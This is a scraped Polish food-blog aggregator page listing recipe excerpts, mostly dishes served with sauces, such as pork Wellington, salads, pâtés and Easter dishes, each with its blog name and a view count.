wykwintne, a spotkać je można w menu najlepszych restauracji na świecie. Przygotowanie pieczeni Wellington jest czasochłonne, jednak warte wysiłku. Pork Wellington to idealna propozycja na uroczysty obiad, a uzupełniona sosem grzybowym i ulubionymi dodatkami w postaci pieczonych ziemniaków, czy klusków nasyci nas na bardzo długo i zrobi ogromne wrażenie na zebranych gościach.  Pieczeń Pork Wellington Składniki: duży kawałek schabu

Poezja Smaków - blog kulinarny
Prosta surówka idealna do obiadu 222

jest ogromy i można poszaleć. Zimą wykorzystujemy głównie przetwory i kiszonki, ale czasem warto odbiec od tej reguły. Mam dla Was prostą i pyszną surówkę z aromatycznym, lekko czosnkowym sosem. Poznaj recepturę

Pichceniomania
Bitki wieprzowe 165

wrzuć ziele angielskie i liść laurowy następnie wlej do niego tyle wody, aby lekko przykrywała mięso duś pod przykryciem przez godzinę przed końcem gotowania przygotuj zasmażkę i zagęść nią sos gotowe podawaj z ulubionymi dodatkami, ja Ci polecam Kluski śląskie oraz Idealna mizeria Smacznego

Oka w rosole czyli KaFka gotuje
SPAGHETTI Z PESTO BAZYLIOWYM z grillowaną cukinią i mozzarellą 175

domu zrobić spaghetti z pesto bazyliowym - sprawdzony przepis krok po kroku. --------------------------------------- Liczba porcji: 4 Czas przygotowania : 35 minut --------------------------------------- SKŁADNIKI: ok. 400g makaronu spaghetti 100-150 ml  sosu pesto z bazylii 8 plasterków cukinii (ok. 7mm) mały ząbek czosnku oliwa extra vergine ok. 1/2 opakowania roszponki lub rukoli świeżo mielony czarny pieprz sól 1 kulka mozzarelli, porwanej na kawałki PRZYGOTOWANIE

Moja Książka Kucharska
Wytrawne warzywne babeczki 175

odwrócić na drugą stronę), no i nie trzeba smarować ich tłuszczem (masa nie przywiera). Warzywne babeczki najlepiej podawać na zimno. Świetne są zarówno same, jak również będą pasować do sosu koperkowego i plastra wędzonego łososia. 1 sztuka zawiera ok. 115 kcal , węglowodany: 13g, białko: 7g, tłuszcz: 3g Informacje dla diabetyków: w porcji znajduje się 1,3WW i 0,6WBT SMACZNEGO

Dietolog
Mus z tuńczyka. 217

eño, marynowany czosnek. Do przygotowania mojego musu użyłam sylikonowych foremek na babeczki.  Mus można również przełożyć do jednej dużej formy np głębokiego talerza. Składniki: 2 puszki tuńczyka w sosie własnym 3 płaskie łyżeczki żelatyny + 1/3 szkl. wody 3 łyżki śmietany 18% 2 łyżki posiekanej dymki ze szczypiorkiem 3/4 szkl. groszku mrożonego kilka czarnych i zielonych oliwek, kapary

Codziennik Kuchenny
Lekka babka kokosowo-waniliowa. FIT Wielkanoc. 163

mniej smacznymi odpowiednikami. Na świątecznym stole królują jajka, które solo, w odpowiednich ilościach są nawet wskazane, ale to co na nie nakładamy już nie zawsze. Dlatego wysoko przetworzone, kaloryczne sosy zastąp domowymi na bazie jogurtu lub chudego twarożku z dodatkiem czosnku, chrzanu czy musztardy. Podobnie ciężkie sałatki z majonezem warto zamienić na świeże kompozycje z oliwą lub bogatym w kwasy

Fitsweet.me
Jajka na Wielkanoc 266

Brokułowo-jajeczna sałatka z majonezem Bukiet sałat z brokułami i jajkiem Jajko na twardo z majonezem na sałatce z brokuła i sałaty lodowej, z kiełkami i czarnuszką Jajka w sosie jogurtowo-pietruszkowym Jajko sadzone na grzance z bobem Jajka zapiekane z ciecierzycą i brokułami Jajka zapiekane z pomidorkami koktajlowymi Jajka zapiekane z soczewicą i grana padano Jajka zapiekane ze szpinakiem

Moja smaczna kuchnia
Makaron orecchiette z grzybami shiitake i bruksleką 198

szklimy na oliwie. Do zeszklonej cebuli dodajemy pokrojone grzyby. Smażymy przez chwilę, następnie dodajemy podgotowaną brukselkę. Całość zalewamy śmietaną i dusimy kila minut.Doprawiamy do smaku solą i pieprzem. Do sosu dodajemy ugotowany makaron. Mieszamy. Podajemy posypane wiórkami parmezanu

Bon appetit mon amie
Wiosenny bałagan na zielono 172

tyle od ilości jak od jakości pożywienia które dostarczamy naszemu organizmowi.  Polecam! Na jedną  dużą patelnię : 3-4 jajka od szczęśliwych kurek 45 dag mrożonego szpinaku w sosie śmietanowym 15 dag groszku Hortex 1 duża cebula 6 cm kawałek pora 4 ząbki czosnku ½ miękkiego awokado ½ papryczki chili z zalewy olejowej 1 łyżka klarowanego masła 3-4 krople zielonego

Wanilia i Kardamon
Sałatka warstwowa z rzodkiewką, kurczakiem i jajkami przepiórczymi 280

posiekaj. Pierś z kurczaka pokrój w kostkę. Jogurt wymieszaj z chrzanem. W szklanej misce wyłóż na dno serek wiejski, posyp szczypiorkiem. Wysyp posiekane jajka. Wyłóż warstwę piersi kurczaka. Polej sosem jogurtowo – chrzanowym. Na wierzch przełóż starte rzodkiewki. Całość udekoruj jajkami przepiórczymi i wstaw do lodówki. Jeśli chcesz zrobić sałatkę na następny dzień, możesz to zrobić, ale przykryj ją szczelnie

Eat me! Fit me!
Krewetki curry z serem halloumi 202

około 0,5 minuty. Następnie wlać wino i smażyć jeszcze minutę lub jak krewetki będą gotowe do jedzenia. Na sałatę rozrzucić krewetki i ser. Obłożyć pokrojonymi pomidorkami koktajlowymi. polać sosem który został na patelni. Podawać z chlebkiem. Smacznego

Kuchnia Pokoleń
Sałatka z tuńczykiem i oliwkami 185

sałatki z tuńczykiem. Poprzednią wersję z suszonymi pomidorami znajdziecie  tutaj . Do przygotowania porcji dla 4 osób będziemy potrzebować: - 1 woreczek ryżu (u mnie kolorowy) - 1 puszkę tuńczyka w sosie własnym - 1 słoik mieszanki marchwi, kukurydzy i groszku - 1 słoik czarnych oliwek (200 g/ 75 g po odsączeniu) - sok z połowy cytryny - 2 łyżki oliwy z oliwek - 1 łyżeczkę pieprzu

Bez Cebuli
Mus owocowy 187

Lekki deser, kolorowy i bardzo smaczny. Można podawać z bitą śmietaną lub sosem zrobionym z jogurtu oraz świeżymi owocami. Składniki sok pomarańczowy Hortex 300 ml sok czarna porzeczka Hortex 300 ml 250 ml śmietany kremówki 1 szklanka cukru pudru 2 łyżki żelatyny do dekoracji, bita śmietana, jogurt, owoce 1 łyżkę żelatyny namoczyć w małej … Czytaj dalej Mus owocowy

gotuj ze mną
Pasztet z czerwonej soczewicy i marchewki 243

duet zasługujący na Oscara. Spróbujcie koniecznie :) Składniki (forma 28 x 14 cm): 2 szklanki czerwonej soczewicy (przed ugotowaniem) cebula   4 marchewki 3 łyżki bułki tartej 2 duże łyżki sosu sojowego łyżeczka curry  2 łyżeczki czarnuszki szczypta chili i ziół prowansalskich oliwa (do smażenia) sól i pieprz   Przygotowanie: Soczewicę gotujemy w wodzie według przepisu na opakowaniu

ChilliJemy
Zakupy dietetyka – oceniamy produkty #1 218

podobieństwo do makaronu ryżowego fajnie sprawdzi się w daniu azjatyckim. Sam w sobie nie ma żadnego smaku, dlatego warto użyć aromatycznych, intensywnych przypraw/sosów. Na zdjęciu w zestawieniu z sosem teriyaki, masłem orzechowym, sezamem, kurczakiem i papryką – bardzo dobre. Plusy: brak kalorii (to może być też jednocześnie minus)  brak glutenu (niestety na opakowaniu nie ma licencjonowanego znaku przekreślonego

Powiedz dietom nie
Środa: Panzanella (sałatka chlebowa) 240

czasu na pieczenie, po prostu połączcie pomidory z sałatą, chlebem, oliwą i octem balsamicznym. Gwarantujemy, że będzie smakowało pysznie. Do sałatki tradycyjnie dodaje się chleb czerstwy, który po wchłonięciu sosu zmienia konsystencję i zyskuje nowe życie. Jeśli nie macie suchego pieczywa, użyjcie świeżego, które wystarczy stostować, albo podpiec w piekarniku (w przepisie wyjaśniamy jak to zrobić). Do sałatki możecie dodać

Niedzielny kucharz
Sos chrzanowo jajeczny 179

Polecam ten sos na zbliżające się święta Wielkanocne. Idealnie sprawdzi się do wędlin, kiełbasy, czy nawet znajdzie się miejsce obok sałatki czy faszerowanego jajka. Jest fajnym rozwiązaniem dla tych, którzy lubią ostre dodatki, ale sam chrzan jest dla nich (tak samo jak dla mnie) za ostrym rozwiązaniem.  Polecam go wykonać parę godzin wcześniej przed podaniem(ok 4 godz), wtedy

Zdrowie i pysznie na talerzu
Pasztet z kaczki z pistacjami 207

najpierw podpiekłam w piekarniku ( ok 20 minut) a następnie ugotowałam na nim rosół z dodatkiem podpalonej cebuli, marchewki, imbiru i gwiazdki anyżu. Po odcedzeniu doprawiłam sokiem z cytryny i sosem sojowym – do tego makaron sojowy, papryczka chilli i kolendra i pyszny orientalny rosół z kaczki gotowy. Pasztet z kaczki z pistacjami   Drukuj Prep time 30 min Cook time

Cooking for Emily
Placuszki jogurtowe z mąką jaglaną i bananem 199

przeziębieniu, osłabieniu organizmu, zwłaszcza zimą. W połączeniu z innymi mąkami idealnie nadaje się do wypieków, pieczywa, naleśników. Ze względu na neutralny smak może służyć jako zagęstnik do zup i sosów. Składniki : 1,5 szklanki mąki jaglanej Radix-Bis 2 łyżki naturalnego słodziku lub cukru trzcinowego 1 jajko 1/2 szklanki jogurtu twist Bakoma owoce leśne 1 duży banan olej kokosowy

Sama słodycz i szczypta chili
Podżerka z karkówki z papryką marynowaną 173

Pyszny i soczysty sposób na karkówkę. Aromatyczna w lekkim sosie świetnie pasuje zarówno do ziemniaków, jak i kasz, ryżu czy klusek.  Składniki (4 porcje) -600 g chudej karkówki -1 puszka pomidorów -200 g papryki marynowanej -2 cebule -1 ząbek czosnku -słodka i ostra papryka -sól, pieprz -zioła prowansalskie -olej rzepakowy Przygotowanie Karkówkę umyć, oczyścić, pokroić w paski. Oprószyć solą

Zielona Kuchnia
Sałatki na Święta - zestawienie 2399

Sałatka z makaronem ryżowym i wędzonym kurczakiem  11.  Sałatka z wędzonym kurczakiem  12.  Sałatka król imprezy 13.   Sałatka warstwowa z kurczakiem i sosem czosnkowym 14. Sałatka pod wódeczkę 15. Sałatka jarzynowa - tradycyjna 16. Sałatka z kurczakiem w gyrosie, żurawiną, słonecznikiem, suszonym pomidorem i selerem naciowym

kruche babeczki
McMuffin Farmerski - Najlepszy Przepis na Domowego Hamburgera 439

pysznego McMuffina Farmerskiego.  Zapraszam do wypróbowania tego super przepisu :).   ZOBACZ PRZEPIS - SKŁADNIKI - - HAMBURGER FARMERSKI - ✔ 200 g MIĘSA MIELONEGO WOŁOWEGO ✔ 36 g SERA CHEDDAR ✔ RUKOLA ✔ BUŁKA ✔ 40 g SOSU BARBECUE ✔ 1 JAJKO L ✔ MUSZTARDA ✔ PAPRYKA OSTRA ✔ PIEPRZ ✔ SÓL - Zdjęcia z Planu -  SMACZNEGO

Sylwetka Od Kuchni
Potrawka z kurczakiem i warzywami mrożonymi 170

czasie na patelni rozpuszczamy masło razem z mąką pszenną cały czas mieszając. Zasmażkę podlewamy gorącym wywarem i mieszamy do uzyskania jednolitej konsystencji. Wlewamy z powrotem do garnka. Do sosu dodajemy mleczko kokosowe (jeśli to możliwe i mleczko nie było zmieszane to dodajemy tylko gęstą jego część). Wsypujemy mrożone warzywa i pokrojone na mniejsze kawałki ugotowane wcześniej mięso. Doprawiamy solą

Qchnia po prostu
Pieczony łosoś z sosem wasabi – pomysł na Wielkanocny obiad 368

Pieczony łosoś to idealna propozycja na różne świąteczne posiłki, nie tylko na Bożonarodzeniowy obiad, także na Wielkanocny obiad – zwłaszcza jeśli podamy go... The post Pieczony łosoś z sosem wasabi – pomysł na Wielkanocny obiad appeared first on Przepisy: zdrowe, bezglutenowe i eksperymentalne - Eksperymentalnie.com

Eksperymentalnie.com
Wtorek: Pęczotto primavera 179

Kiedy kasza wchłonie cały płyn wrzuć do rondla zimne masło,pokrojone na małe kawałki i szybko wmieszaj w kaszę, żeby w połączeniu z płynem zmieniło się w aksamitny, maślany sos. Dodaj pół szklanki tartego parmezanu, wmieszaj w kaszę. Dodaj do kaszotto blanszowane warzywai cukinię. Wymieszaj i podawaj. Smacznego! Artykuł Wtorek: Pęczotto primavera pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Tarta czekoladowa ze smakiem masła orzechowego 242

Śmietanę kremówkę przelać do garnuszka, postawić na palniku, podgrzać, zdjąć z palnika. Dodać czekoladę, odstawić na 2 minuty. Po tym czasie wymieszać, do połączenia się składników i otrzymania gładkiego sosu czekoladowego. Odstawić do lekkiego zgęstnienia. Krem orzechowy wyłożyć na podpieczony spód, wyrównać. Na krem wylać gęstniejące ganache, następnie tartę umieścić w lodówce. Kiedy ganache będzie już dość gęste udekorować precelkami

Moje Wyroby
Gulasz 212

Składniki 400 g wołowiny 2 marchewki łyżka smalcu 500 ml bulionu 2 cebule sól, pieprz sos sojowy ciemny papryka słodka i ostra 3 ząbki czosnku Przygotowanie Czyste mięso pokroić na kawałki. Podsmażyć na rozgrzanym smalcu na mocno brązowy kolor. Dodać przyprawy - czosnek cały - i pokrojoną cebulę. Wymieszać, a kiedy cebula się zaszkli zalać bulionem i dusić

Gaździnka warzy
Duszony schab 199

ugotować w osolonej wodzie następnie wmieszać do gotowego mięsa. Posypać szczypiorkiem. Dusić do miękkości po czym zabielić śmietanką. Do kieliszka wlać wódkę i rozpuścić w niej mąkę wlać do sosu i gotowe.. smacznego

Gaździnka warzy
Prosto z piekarnika placuszki z marchewki 291

piekarnika na 20 minut w temperaturze 10 stopni. Po 10 minutach można przełożyć placuszki na druga stronę, ale nie jest to konieczne. Placuszki najlepiej podawać ciepłe. U mnie z sosem czosnkowym na jogurcie greckim

Przysmaki Karolki
PULPECIKI ZE SZPINAKIEM W SOSIE ŚMIETANOWYM 230

osoby na diecie. Robi się je szybko a smakują rewelacyjnie. Dziś zrobiłam zupełnie inne pulpeciki , tym razem z mięsem mielonym z indyka , ze szpinakiem i serem cheedar w sosie śmietanowym. Ja podałam z dzikim ryżem ale idealnie smakują również z kaszami czy makaronem. Smacznego.  SKŁADNIKI NA OK 25 SZTUK WIELKOŚCI ORZECHÓW WŁOSKICH:  Klopsiki 500 g mięsa mielonego np.z

Gotowanie Patki
Leczo wegetariańskie 216

Duś pod przykryciem przez 20 minut co jakiś czas mieszając. Na koniec dodaj płaską łyżkę rozpuszczonego miodu i dokładnie wymieszaj. Spróbuj także: Wiosenne fit śniadanie twarożek papryka Kurczak w sosie paprykowo-pomidorowym pierś z kurczaka papryka pomidory Ajvar - pikantna pasta warzywna z makaronem papryka bakłażan pomidor

Fit&Fast Kitchen
Brokuły i feta czyli przepis na pyszną sałatkę 237

brokuły, fetę kruszymy w palcach na małe kawałki. Do miski przekładamy brokuły i fetę. W kubku mieszamy jogurt z majonezem dodajemy rozdrobniony ząbek czosnku, doprawiamy pieprzem. Polewamy brokuły przygotowanym sosem i mieszamy. Sałatka gotowa. Nie używam soli, bo feta wg mnie już jest wystarczająco słona.   Brokuły i feta czyli przepis na pyszną sałatkę

Kuchnia na wzgórzu
Makaron z tuńczykiem, cytryną, rukolą i soczewicą 238

wcześniej Waszą spiżarnię. Do tego świeża rukola oraz cytryna, i mamy składniki na prosty obiad. W trakcie gotowania makaronu (u mnie Bavette, ale można użyć Spaghetti) przygotowywany jest szybki sos: na oliwie podgrzewamy kapary, skórkę i sok z cytryny, tuńczyka i soczewicę z puszki. Dodajemy ugotowany makaron i garść rukoli. Mieszamy, wykładamy na talerze. Dekorujemy paroma listkami rukoli i koniecznie

Moja Delicja
Kiszona pasta czosnkowa 184

Kiszona pasta czosnkowa to idealny dodatek do białego barszczu, żurku czy sosu, idealna do mięs wszelakich, do zup, i czego dusza zapragnie. Jest zdrowa, jest pyszna choć wiem że nie wszyscy kochają czosnek. Jest aromatyczna i ma mnóstwo tego czego nam na przedwiośniu potrzeba, mnóstwo dobrych bakterii, ważnych aby organizm funkcjonował poprawnie i zdrowo. Zachęcam do kiszenia czosnku. Przepis pochodzi

Moje Małe Czarowanie
Zielona sałatka z jajkiem i łososiem 565

wędzonego łososia oraz cząstki ugotowanych na twardo jajek. Jogurt mieszamy z posiekanymi drobno koperkiem i natką pietruszki. Doprawiamy do smaku sokiem z cytryny, solą, pieprzem oraz cukrem. Opcjonalnie do sosu można dodać 1-2 łyżki łagodnego majonezu

Smaki Na Talerzu
Pomysł na sałatkę: Panzanella z pieczonymi warzywami 186

czasu na pieczenie, po prostu połączcie pomidory z sałatą, chlebem, oliwą i octem balsamicznym. Gwarantujemy, że będzie smakowało pysznie. Do sałatki tradycyjnie dodaje się chleb czerstwy, który po wchłonięciu sosu zmienia konsystencję i zyskuje nowe życie. Jeśli nie macie suchego pieczywa, użyjcie świeżego, które wystarczy stostować, albo podpiec w piekarniku (w przepisie wyjaśniamy jak to zrobić). Do sałatki możecie dodać

Niedzielny kucharz
Pęczotto primavera 155

Kiedy kasza wchłonie cały płyn wrzuć do rondla zimne masło,pokrojone na małe kawałki i szybko wmieszaj w kaszę, żeby w połączeniu z płynem zmieniło się w aksamitny, maślany sos. Dodaj pół szklanki tartego parmezanu, wmieszaj w kaszę. Dodaj do kaszotto blanszowane warzywai cukinię. Wymieszaj i podawaj. Smacznego! Artykuł Pęczotto primavera pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Pieczone ziemniaki z ziołami 193

Pieczone ziemniaki to świetna przekąska lub dodatek do obiadu. Są mniej kaloryczną alternatywą dla miłośników frytek. Najlepiej smakują prosto z piekarnika podane z sosem śmietanowym. Chrupiące z zewnątrz i puszyste w środku na pewno zadomowią się na stałe w Waszych kuchniach. Czytaj więcej

Czekoladowa muffinka
Chai latte, Krowarzywa 213

smak miesiąca. Następnie sposób, w jaki ma być podane jedzenie: w burgerze, tortilli (jasnej lub ciemnej) lub w misce z kaszą jaglaną i pestkami słonecznika. Do tego są sosy i dodatki. Można również zamówić cały zestaw w formie obiadowej: burger lub tortillę lub miskę + surówka i pieczone ziemniaki. Na to się właśnie skusiłam, ale jak dla mnie trochę

Qlinarnie i Qlinarnie
z rękawa klopsiki w pomidorach pieczone... 216

rękaw i wstawić do nagrzanego piekarnika na 200C, grzanie góra/dół i piec z 45 minut rękaw rozciąć, wyjąć klopsy i powstały wywar przelać do miski i jest sos do klopsików, podać z ryżem, makaronem, kaszą ziemniakami - pyszne, delikatne klopsiki w pomidorach, pieczone w rękawie w piekarniku, są bez tłuszczu zbędnego więc są też mało kaloryczne.........SMACZNEGO

W Mojej Kuchni Lubię
Jajka faszerowane po polsku 208

świeżym jajkiem. Doprawiamy do smaku solą i czarnym pieprzem. Farszem napełniamy połówki skorupek. Panierujemy od strony farszu i smażymy na złoto na maśle klarowanym. Podajemy z kiełkami, rzodkiewka lub sosem tatarskim. Czas przygotowania: 40’ Trudność: średnie Kaloryczność: 290 kcal

Pyry na Gaz
Biała kiełbasa w sosie pomidorowym 189

Przygotowanie: W dużym garnku rozgrzewamy masło i podsmażamy kiełbaskę. Wlewamy pomidory i dusimy aż odparuje z nich woda. Dodajemy czosnek przeciśnięty przez praskę oraz przyprawy. W razie potrzeby zagęszczamy sos mąką. Smacznego

Życie ze smakiem
Placuszki z batatów i ziemniaków 291

pomysł na obiad – możecie podawać je ze śmietaną, na słono lub posypane cukrem, na słodko, podobnie jak placki ziemniaczane. Również doskonale będą smakować w towarzystwie polędwiczki w kremowym sosie własnym czy też prostego gulaszu z wieprzowiny . Zachęcam Was do ich przygotowania. Smacznego! Zobacz też: Placuszki z marchewki i ziemniaków Placuszki z kalafiora Placuszki z cukinii i ziemniaków Placuszki

Kuchnia Bazylii
#21 Domowy, zdrowy kebab z ziołowymi frytkami 246

pół i dodajemy do ziemniaków. Doprawiamy wszystko solą, pieprzem, ziołami i łyżką oleju Mięso razem z ziemniakami pieczemy ok 35-40 minut w 180 stopniach. W międzyczasie przygotujmy zwykły sos czosnkowy: 200g jogurtu greckiego 2 ząbki czosnku sól, pieprz, papryka ostra, zioła prowansalskie Czosnek siekamy lub przeciskamy przez praskę, mieszamy z jogurtem, doprawiamy. Nie zapominajmy o warzywach! U mnie był

Taste of imagination
Pasztet mięsny ze śliwkami 218

prostu zamrażam. Pasztety doskonale przechowują się zamrożone, nie tracąc przy tym nic na smaku. Tuż przed świętami wyciągam je z zamrażarki i gotowe. Wystarczy jeszcze tylko zrobić sos tatarski,  chrzan lub ćwikłę i domowy pasztet mięsny ze śliwkami ląduje na świątecznym stole. Na blogu znajdziecie też inne przepisy na pasztety: Pasztet mięsny z żurawiną Terrina z wątróbką cielęcą

Kulinarne przygody Gatity
Maślany kurczak pieczony z bananem 177

wstawić do rozgrzanego piekarnika. Piec 70-90 minut w 180 stopniach.   W trakcie pieczenia mięso obrócić na drugą stronę i z 2-3 razy polać wytwarzającym się maślanym sosem

Di gotuje
POLĘDWICZKA PIECZONA W RĘKAWIE 369

następnie natrzeć mięso i odstawić do lodówki (najlepiej minimum na 12 godzin). Mięso przełożyć do rękawa do pieczenia. Piec przez 30 minut w 190 stopniach z termoobiegiem. Podawać z sosem pieczeniowym

JejKuchnia
Gulasz drobiowy a’la puszkin 149

stanu 1,2- 1,5 litra . Dusimy pod przykryciem przez dwa kwadransy na średnim ogniu, później redukujemy płomień do najmniejszego i dusimy kolejne 30 minut. Często mieszamy, by sos nie przypalił się. W między czasie dodajemy obie papryki i lubczyk. Całość doprawiamy solą i pieprzem

R'n'G Kitchen
Moja grochówka 348

zacznie się rozwalać. Marchewkę kroimy w kostkę dorzucamy do zupy, po 5 minutach wrzucamy pokrojone w kostkę ziemianki. Doprawiamy solą, pieprzem i octem do smaku. Dodajemy 1 łyżeczkę sosu worcester. Gotujemy do miękkości warzyw. Kiełbasę w plasterki i podsmażamy na patelni bez tłuszczu. Dodajemy do zupy. Doprawiamy ususzonym majerankiem i zupka gotowa ;) (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Sałatka z tuńczyka na krakersach 796

eleganckie ciasto. Bardzo efektowna i smaczna. Idealna sałatka na przyjęcia oraz święta. Z pewnością zrobi wrażenie na gościach. Polecam!   Składniki: 24 sztuki słonych krakersów 1 puszka tuńczyka w sosie własnym 3 jajka 50g żółtego sera 4 łyżki majonezu 2 łyżki gęstego jogurtu naturalnego pół pęczka szczypiorku przyprawy: papryka słodka mielona, pieprz czarny mielony     *** Na płaskim talerzu

Blog z Apetytem
Polędwiczki wieprzowe w sosie chrzanowym 1432

Następnie wlewamy wodę, dodajemy liść laurowy, podsmażone mięso, gotujemy 20 minut pod przykryciem. Pod koniec gotowania dodajemy starty na drobnych oczkach chrzan. Mąkę rozrabiamy ze śmietaną, dolewamy do tego sos z gotowania, mieszamy i z powrotem wlewamy do mięsa (polecam do zrobić przez gęste sitko). Całość doprawiamy solą i świeżo zmielonym pieprzem, mieszamy

Kardamonovy
Szynka pieczona w rękawie + film 245

można podać na gorąco jako główny element obiadu, to wyśmienita propozycja, której nie może zabraknąć na świątecznym stole.Taka szynka również idealnie smakuje na zimno, pokrojona w plastry, podana z sosem tatarskim, chrzanowym lub sałatką.     składniki szynka wieprzowa ( ok 1,5kg ) 1 łyżka majeranku 2 liście laurowe 3 ziarna ziela angielskiego 1,5 łyżeczki soli pół łyżeczki czarnego pieprzu

Smakowite Dania
Paprykarz ze śledzi i kaszy bulgur 150

sitko, przelewamy zimną wodą i osączamy. Marchewki obieramy, ścieramy na tarce o dużych oczkach, podsmażamy na rozgrzanym oleju i dusimy przez chwilę w winie. Płyn odparowujemy. Śledzie razem z sosem przekładamy do miski, rozgniatamy widelcem, dodajemy kaszę i marchew, mieszamy. Do smaku doprawiamy solą, pieprzem i paprykami

R'n'G Kitchen
INSPIRACJE NA WIELKANOCNE KETO MENU (keto, LCHF, paleo, bez glutenu, laktozy i cukru) 426

tłustą pierzynką Pasztet LCHF Karczek pieczony Boczek pieczony   Dania główne: Kaczka pieczona z jabłkami Smażona pierś z kaczki z puree z brokuła Królik z warzywami Kiełbasa biała w sosie chrzanowym   Desery Keto mazurek Wielkanocna babka Wielkanocna babka kokosowa Sernik wiedeński Puszysty sernik bez mąki Sernik jagodowy na zimno Ciasto orzechowo-karmelowe Keto leśny mech Szarlotka LCHF Czekoladowe jajeczka

Ola la LCHF
Kurczak z szynką parmeńską i szałwią, czyli Saltimbocca alla Romana z kurczakiem 313

filet (im cieniej tym lepiej) przykryty plastrami szynki parmeńskiej i listkami świeżej szałwii. Szałwia nadaje charakterystycznego aromatu, dlatego nie ma możliwości, aby zastąpić ją innym ziołem. Całość polewana jest sosem na bazie białego, wytrawnego wina, który przygotujecie dosłownie w 30 sekund :) Saltimbocca alla Romana z kurczakiem jest przykładem na to, że z kilku składników dobrej jakości można wyczarować pyszne

Moja Delicja
Kotlety mielone z kurczaka 244

się pięknie zezłocić. Jeśli usmażysz je na zbyt dużym ogniu może się okazać że będą jeszcze surowe w środku. Kotlety podawaj z dowolnymi dodatkami: ziemniakami, kaszą, pieczywem, sałatkami i sosami. Smacznego!   Artykuł Kotlety mielone z kurczaka pochodzi z serwisu nietylkopasta.pl - blog kulinaria, restauracje, podróże

nietylkopasta.pl
Kotlety jaglane z mięsem 154

smalcu cebulą, natką pietruszki i przyprawami do smaku. Dokładnie wyrobić masę, formować kotlety, obtaczać w bułce tartej i smażyć z obu stron na złoty kolor. Podawać z dowolnym sosem do obiadu

Tradycyjna Kuchnia
Cukinia smażona w cieście naleśnikowym 221

rozgrzewamy niewielką ilość oleju i smażymy cukinie z obydwu stron na złoty kolor. Po usmażeniu placki układamy na ręcznik papierowy aby odsączyć nadmiar tłuszczu. Smażoną cukinię podajemy np. z sosem pomidorowym lub czosnkowym (przepis znajdziesz  tutaj

Qchnia po prostu
Pasztecik na kruchym spodzie 172

Pasztety, paszteciki. Solo, nadziewane lub same będące pysznym nadzieniem są nieodłącznym „symbolem” nadchodzących Świąt. Ja osobiście uwielbiam klasyczny pasztet (najlepiej mojej mamy) z sosem tatarskim. Dla mnie to smakołyk nie do opisania Pasztecik na kruchym spodzie – szybki przepis Dziś za to mam dla Was bardzo szybki przepis z wykorzystaniem mięska z bulionu, na który przepis napisałam wczoraj. Wszak tyle

Kate's Kitchen
PASZTET Z SOCZEWICY – wersja pieczona i gotowana (wegański) 213

mąki jaglanej (możesz też użyć mąki z ciecierzycy, mąki ryżowej lub innej) 2 łyżki (20 g) bułki tartej bezglutenowej przyprawy i zioła (sól, pieprz, curry, majeranek, przyprawa do mięsa, sos sojowy) Sposób przygotowania: Soczewicę opłukaj na sitku. Daj ją do garnka i zalej wodą (co najmniej 0,5 l). Dodaj szczyptę soli i gotuj około 10 – 15 minut

Via Gusto
Papryki nadziewane 180

Dzisiaj kolorowe papryki w roli głównej. Przystawka, która ładnie prezentuje się na stole i jest bardzo smaczna. Łatwe i szybkie w przygotowaniu danie na powitanie wiosny. Dobrze smakuje z sosem czosnkowym. Polecam Składniki 4 duże papryki,najlepiej każda inny kolor 2 piersi z kurczaka 1 cebula 1 torebka ryżu brązowego sól, pieprz przyprawa do kurczaka … Czytaj dalej Papryki nadziewane

gotuj ze mną
Prosta domowa pizza z kolorowym farszem 333

posypujemy startym żółtym serem. Znów do piekarnika, tym razem do czasu roztopienia sera i zarumienienia brzegów pizzy (można na chwilę włączyć termoobieg). Podajemy z listkami świeżej bazylii w towarzystwie sosu czosnkowego lub ketchupu. Smacznego

Słodkie okruszki
Langosze z hortexowym groszkiem 193

powstał pieróg. Zlep każdy dokladnie.  Smaż   pierogi  na  złoty kolor. Odkładaj na ręcznik papierowy.  Jedz chrupiące pierożki  na gorąco z dodatkiem sosu jaki lubisz

Gotuj Sam!
Tarta z łososiem według Michela Moran 259

bloga Przepisy Joli wraz z Margit z Gazety Wyborczej, ulepiły niecodzienne pierogi. Dziewczyny nadziały je białą kiełbasą, doprawioną podsmażoną cebulką oraz majerankiem – to było przepyszne! Szczególnie podane z sosem chrzanowym. Jeżeli nigdy nie próbowaliście pierogów z takim nadzieniem, zdecydowanie polecam, zaskoczycie bliskich, nie tylko od święta. Sylwia z Idealne Ciasta wraz z Pauliną z Ugotuj To, na deser przygotowały

Kuchnia Bazylii
Łata wołowa duszona w musztardzie 213

pół godziny. Jeśli w garnku jest mało płynu podlewać mięso niewielką ilością gorącej wody. Pod koniec dodać posiekaną natkę. Po uduszeniu mięso powinno być miękkie i zanurzone we własnym sosie musztardowym. Przed podaniem odczekać z 5 minut, aby zatrzymał się proces gotowania. Tak zrobiona wołowina świetnie smakuje z puree ziemniaczanym, kaszą lub świeżym pieczywem. Zobacz również: wołowina po burgundzku

Kuchcik gotuje
SAŁATKA Z SELEREM NACIOWYM 186

Porcja zdrowej surówki to nieodzowny składnik naszego obiadu. Taka sałatka zawsze mieści w sobie nasz domowy superfood - kiełki. Dorzucamy do nich warzywa, jakie aktualnie posiadamy, polewamy ulubionym sosem i chrupiemy na zdrowie. W dzisiejszej propozycji tylko 4 składniki: por, kiełki słonecznika, seler i daktyle suszone. To wszystko polane wyrazistym dressingiem z musztardy, octu balsamicznego i oliwy. Od razu odpowiem

Jeść, by żyć w zdrowiu
Magiczna babka z budyniem 8301

możemy już wyjąć ciasto, odwracając je szybkim ruchem na talerz. Gotową magiczną babkę warto posypać pokruszonymi orzechami. Uwaga: Jeśli boimy się robić sami karmel, możemy zastąpić go gotowym sosem karmelowym lub kajmakiem z puszki. Post Magiczna babka z budyniem pochodzi z bloga Poezja smaku

Poezja smaku
QUESADILLA Z MIĘSEM MIELONYM 288

drugą stronę i smażymy przez około 2 min., do zrumienienia. To samo powtarzamy z pozostałymi plackami tortilli. Gotową quesadillę przekładamy na talerz i kroimy na cztery kawałki. Podajemy z sosem pomidorowym

Kuchnia MagdaLeny
Ruskie naleśniki 873

wykonaniu tych dwóch rzeczy, wystarczy zawinąć naleśniki w ulubiony sposób, podsmażyć na patelni na masełku. Możesz podać w domowym sosem czosnkowym – jogurt naturalny i czosnek należy wymieszać, nic trudnego, a wiesz co jesz. Smacznego

Oka w rosole czyli KaFka gotuje
SAŁATKA W SŁOIKU DO PRACY, ZDROWY LUNCHBOX 185

